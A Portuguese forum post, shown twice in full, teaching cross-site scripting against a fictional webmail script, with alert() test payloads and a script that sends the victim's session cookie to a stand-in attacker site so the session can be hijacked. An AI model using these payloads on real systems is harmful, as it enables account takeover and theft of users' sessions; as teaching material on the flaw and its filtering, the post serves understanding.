Bom antes de começar devemos entender um pouco sobre o assunto!
O que é Cross Site Scripting (XSS)?
Cross Site Scripting permite que você insira um código malicioso em uma aplicação web. (quase com um código javascript, mas também é possível inserir outros códigos como PHP ou HTML. É uma vulnerabilidade que está em quase todos os site que você pode encontrar na WWW. Além disso, vou falar sobre 2 maneiras diferentes de usar XSS ...
1. O atacante vai incluir um código em um URL. O XSS não vai ficar na página.
2. O atacante será capaz de inserir um código e ele vai ficar no site. Normalmente, o atacante irá escolher um site com alguns campos "input", como shoutboxes, blogs e guestbooks.
Depois dessa explicação básica começaremos...
Buscando vulnerabilidades via Xss
Suponha que o site:
http://www.localhost.com.br/email/mail.pl?acao=leremail&login=1
Analisando este site fictício, pode-se observar que a partir do mail.pl é passado dois parâmetros para a função:
acao=inbox e login=1
Como a técnica consiste em inserir tags html, a forma de procedimento a verificar a falha seria:
http://www. localhost.com.br/email/mail.pl?acao=leremail< script >alert(? Vulnerável a XSS!?)&login=1
Outra forma seria:
http://www. localhost.com.br/email/mail.pl?acao=< script >alert (?Vulnerível a XSS!?)< /script>&login=1
Poderia também utilizar a tag Java script :
< script>alert(document.cookie) < /script>
O que retornaria o cookie da sessão aberta, porém este cookie seria da sessão do atacante, o que não teria serventia.
Então, como pegar o cookie de outras pessoas?
Neste caso, seria possível pegar a sessão de outras pessoas quando: elas estivessem logadas no sistema e estivessem lendo seus e-mails.
Envia-se um e-mail para o alvo colocando as tags de Java Script fazendo com que este cookie seja enviado para algum outro lugar. Ou seja: O cookie seria enviado para um outro sistema, do atacante quando a mensagem fosse aberta e sem que o usuário notasse, ele seria enviado a um sistema web (muito simples de ser feito) contendo o cookie da sessão do alvo.
No e-mail especialmente feito para se roubar a sessão, poderia-se colocar a seguinte tag:
< script> document.location = 'http://www.sitedoatacante.com.br/programa.cgi?cookie=' + document.cookie;
< /script>
Este script CGI teria como função apenas receber o numero do cookie do alvo. Após isso o atacante, tendo o número da sessão poderia construir um cookie manualmente colocando as informações adquiridas e sem a necessidade de logar, entrar no e-mail do alvo.
A melhor forma para evitar tal seria que o sistema não suportasse ou filtrasse as tags de html e Java Script, tendo em vista que é possível em uma tag html, inserir um comando Java Script. Exemplo:
< a>teste Xss< /a>
OBS: todos <> são sem espaço
Bom galera espero que gostem, meu primeiro post no fórum... É isso ate a próxima!
O que é Cross Site Scripting (XSS)?
Cross Site Scripting permite que você insira um código malicioso em uma aplicação web. (quase com um código javascript, mas também é possível inserir outros códigos como PHP ou HTML. É uma vulnerabilidade que está em quase todos os site que você pode encontrar na WWW. Além disso, vou falar sobre 2 maneiras diferentes de usar XSS ...
1. O atacante vai incluir um código em um URL. O XSS não vai ficar na página.
2. O atacante será capaz de inserir um código e ele vai ficar no site. Normalmente, o atacante irá escolher um site com alguns campos "input", como shoutboxes, blogs e guestbooks.
Depois dessa explicação básica começaremos...
Buscando vulnerabilidades via Xss
Suponha que o site:
http://www.localhost.com.br/email/mail.pl?acao=leremail&login=1
Analisando este site fictício, pode-se observar que a partir do mail.pl é passado dois parâmetros para a função:
acao=inbox e login=1
Como a técnica consiste em inserir tags html, a forma de procedimento a verificar a falha seria:
http://www. localhost.com.br/email/mail.pl?acao=leremail< script >alert(? Vulnerável a XSS!?)&login=1
Outra forma seria:
http://www. localhost.com.br/email/mail.pl?acao=< script >alert (?Vulnerível a XSS!?)< /script>&login=1
Poderia também utilizar a tag Java script :
< script>alert(document.cookie) < /script>
O que retornaria o cookie da sessão aberta, porém este cookie seria da sessão do atacante, o que não teria serventia.
Então, como pegar o cookie de outras pessoas?
Neste caso, seria possível pegar a sessão de outras pessoas quando: elas estivessem logadas no sistema e estivessem lendo seus e-mails.
Envia-se um e-mail para o alvo colocando as tags de Java Script fazendo com que este cookie seja enviado para algum outro lugar. Ou seja: O cookie seria enviado para um outro sistema, do atacante quando a mensagem fosse aberta e sem que o usuário notasse, ele seria enviado a um sistema web (muito simples de ser feito) contendo o cookie da sessão do alvo.
No e-mail especialmente feito para se roubar a sessão, poderia-se colocar a seguinte tag:
< script> document.location = 'http://www.sitedoatacante.com.br/programa.cgi?cookie=' + document.cookie;
< /script>
Este script CGI teria como função apenas receber o numero do cookie do alvo. Após isso o atacante, tendo o número da sessão poderia construir um cookie manualmente colocando as informações adquiridas e sem a necessidade de logar, entrar no e-mail do alvo.
A melhor forma para evitar tal seria que o sistema não suportasse ou filtrasse as tags de html e Java Script, tendo em vista que é possível em uma tag html, inserir um comando Java Script. Exemplo:
< a>teste Xss< /a>
OBS: todos <> são sem espaço
Bom galera espero que gostem, meu primeiro post no fórum... É isso ate a próxima!